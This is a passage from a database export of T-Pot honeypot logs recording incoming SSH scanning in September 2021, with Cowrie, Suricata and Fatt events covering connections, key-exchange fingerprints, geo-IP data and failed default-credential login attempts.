"ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "79061c1582ae", "@version": "1", "timestamp": "2021-09-20T11:16:44.135446Z", "@timestamp": "2021-09-20T11:16:44.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28298	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:16:45.185242+03	2021-09-20 14:30:02.645553+03	{"_id": "bAbsAnwBvYTbRNuELi3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "dest_ip": "192.168.20.116", "flow_id": 1957778929003668, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36112, "dest_port": 22, "timestamp": "2021-09-20T11:16:45.185242Z", "@timestamp": "2021-09-20T11:16:45.185Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28299	91.200.124.7	109.199.241.180	Fatt	2021-09-20 14:16:44.781233+03	2021-09-20 14:30:02.647553+03	{"_id": "cQbsAnwBvYTbRNuEMC0j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.200.124.7", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 41614, "dest_port": 22, "timestamp": "2021-09-20T11:16:44.781233", "@timestamp": "2021-09-20T11:16:44.781Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28300	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 14:16:44.911576+03	2021-09-20 14:30:02.648554+03	{"_id": "dAbsAnwBvYTbRNuEMC36", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "6ff31e874f87", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:16:44.911576Z", "@timestamp": "2021-09-20T11:16:44.911Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28301	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:45.808225+03	2021-09-20 14:30:02.649554+03	{"_id": "dwbsAnwBvYTbRNuEMC37", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [hscroot/abc123] failed", "session": "79061c1582ae", "@version": "1", "password": "abc123", "username": "hscroot", "timestamp": "2021-09-20T11:16:45.808225Z", "@timestamp": "2021-09-20T11:16:45.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28302	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:16:38.369333+03	2021-09-20 14:30:02.650558+03	{"_id": "PwbsAnwBvYTbRNuEFS2e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "de0b4293f12e", "@version": "1", "duration": 3.379397392272949, "timestamp": "2021-09-20T11:16:38.369333Z", "@timestamp": "2021-09-20T11:16:38.369Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28303	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:16:38.522387+03	2021-09-20 14:30:02.652555+03	{"_id": "QAbsAnwBvYTbRNuEFS2e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.login.failed", "message": "login attempt [ts3/root] failed", "session": "b88334c40a44", "@version": "1", "password": "root", "username": "ts3", "timestamp": "2021-09-20T11:16:38.522387Z", "@timestamp": "2021-09-20T11:16:38.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28305	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:16:40.302622+03	2021-09-20 14:30:02.654562+03	{"_id": "RwbsAnwBvYTbRNuEHC2Y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 47018, "dest_port": 22, "timestamp": "2021-09-20T11:16:40.302622", "@timestamp": "2021-09-20T11:16:40.302Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
28306	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:40.303407+03	2021-09-20 14:30:02.655553+03	{"_id": "SAbsAnwBvYTbRNuEHS1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5a02d6f2dd58", "@version": "1", "timestamp": "2021-09-20T11:16:40.303407Z", "@timestamp": "2021-09-20T11:16:40.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
28307	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:16:42.662043+03	2021-09-20 14:30:02.657553+03	{"_id": "VQbsAnwBvYTbRNuEJS1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [upload/upload] failed", "session": "5a02d6f2dd58", "@version": "1", "password": "upload", "username": "upload", "timestamp": "2021-09-20T11:16:42.662043Z", "@timestamp": "2021-09-20T11:16:42.662Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
28308	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:16:42.749376+03	2021-09-20 14:30:02.658524+03	{"_id": "VgbsAnwBvYTbRNuEJS1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:42582 (192.168.176.2:22) [session: 79061c1582ae]", "session": "79061c1582ae", "@version": "1", "protocol": "ssh", "src_port": 42582, "dest_port": 22, "timestamp": "2021-09-20T11:16:42.749376Z", "@timestamp": "2021-09-20T11:16:42.749Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
28309	81.70.175.230	109.199.241.180	Suricata	2021-09-20 14:16:45.185409+03	2021-09-20 14:30:02.660553+03	{"_id": "bgbsAnwBvYTbRNuELi3f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:16:44.634004+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "81.70.175.230", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1957778929003668, "payload": "AAADzAYU2Ut+Y+P1N5PxCsEQC33FvQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36112, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:16:45.185409Z", "@timestamp": "2021-09-20T11:16:45.185Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".......K~c..7..\\n...}.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
